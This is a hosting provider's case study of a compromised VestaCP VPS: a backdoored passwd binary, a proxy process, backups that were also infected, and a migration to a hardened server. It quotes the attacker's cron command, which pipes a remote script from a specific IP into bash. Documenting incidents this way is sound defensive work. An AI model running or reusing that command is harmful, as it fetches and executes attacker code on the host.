Recovering a Root-Compromised VPS and Ending a Cycle of Repeated Hacks
A customer running on a VestaCP-managed VPS came to Bobcares to reset a locked-out root account and get their Nginx site back online. Investigation turned up a root-level compromise that had been running silently on the server since at least January 30, 2025. The compromise also included a cron-based backdoor re-infecting the system every 30 minutes. Bobcares restored access immediately, traced the compromise to its origin, confirmed the customer’s backups were also infected, and moved the customer onto a clean VPS to permanently close the reinfection loop.
Business Challenge
The customer's website and admin access were down, while a January fix had reset credentials without addressing the actual compromise. With no clean backup available, the priority was not simply restoring access. The focus was identifying why the server kept getting hacked and preventing another compromise without rebuilding it.
Technology Used
Blueprint
Bobcares traced a passwd-triggered outbound connection to a cron-based backdoor and an unauthorized proxy process, confirming the root compromise predated the January fix. Because system binaries were tampered with and all available backups were infected, the only reliable path forward was a full migration to a clean, hardened VPS.
Key Outcomes
- Root and VestaCP admin access restored the same day.
- Root cause identified and documented as an active backdoor running since January 30, 2025.
- Migration completed to a clean, hardened VPS.
- Standard $99 migration fee, with 5 additional hours of setup work provided free.
Customer Profile
The Challenges
- Website and VestaCP admin panel were both inaccessible, with no visibility into what had happened.
- Running
triggered an outbound connection to 185.196.8.104:1010, confirming tampered system binaries.passwd - A cron job was executing every 30 minutes, pulling and running a remote script (
).curl 185.196.8.104:1011/next | bash - An unauthorized process, ShadowsocksR, was running silently on the server.
- File timestamps traced the compromise back to January 30, 2025, and it had survived the customer’s earlier fix.
- No clean backup existed, and the datacenter confirmed even the oldest available backup was already infected.
- VestaCP itself is deprecated and unmaintained, adding ongoing risk regardless of cleanup.
Why Bobcares?
- Diagnosed the compromise from first principles instead of assuming the January work had been sufficient.
- Gave the customer a documented timeline and root cause instead of a silent reset.
- Recommended migration over in-place cleanup because tampered binaries meant the server could not be trusted at any layer.
- Discounted the migration rather than walking away from a harder-than-expected problem.
What We Delivered
- Rebooted the server via the datacenter console and regained access through an emergency user account escalated to root.
- Reset the root password and VestaCP admin password, delivered via a secure one-time encrypted link.
- Verified Nginx and the website were serving correctly before further investigation.
- Identified and analyzed the malicious cron job and the outbound connections tied to
.passwd - Confirmed the unauthorized ShadowsocksR process and system binary tampering.
- Documented the infection timeline for the customer’s records.
- Migrated only the database and scanned website files to a new VPS, with no system-level data carried over.
- Installed a maintained control panel (cPanel/Plesk/ISPConfig) on the new server.
- Hardened the new server with SSH restrictions, firewall rules, a WAF, fail2ban, and malware scanning.
The Results
- Before: Locked out entirely
- After: Root and admin access restored same-day
- Before: Tampered binaries, active backdoor, unauthorized process
- After: Clean VPS, no legacy system data carried over
- Before: All available backups infected
- After: Clean build, hardening in place going forward
- Before: VestaCP (deprecated)
- After: Actively maintained panel
- Before: Already reinfected once
- After: SSH restrictions, firewall, WAF, fail2ban, and malware scanning in place
- Before: —
- After: $99 standard migration fee, 5 additional hours free
The Business Impact
- Website and admin downtime were minimized, limiting revenue and reputational exposure.
- The customer now understands why the server kept getting compromised, avoiding a third repeat incident.
- Moving off a deprecated control panel removes a known, ongoing source of risk rather than treating only the current symptom.
- The discounted migration turned a “you didn’t fix it the first time” conversation into a transparent, retained engagement.
Ongoing Collaboration
Bobcares stayed engaged past the migration to make sure the new server holds.
- New server handed over with SSH restrictions, firewall rules, a WAF, fail2ban, and malware scanning already configured.
- Bobcares positioned itself as the team maintaining the new environment’s security baseline, not just the team that responded to the incident.
Conclusion
The customer believed the January engagement had fixed the server, but the compromise had never actually been removed. It had persisted at the root level for months, surviving the earlier fix and reinfecting the system in the background.
Resolving it required more than another password reset. Bobcares had to trace the persistence mechanism, rule out every available backup, and rebuild the environment on infrastructure the customer could actually trust.
The customer now has a documented account of what happened, a maintained control panel, and a server hardened against the same attack recurring.
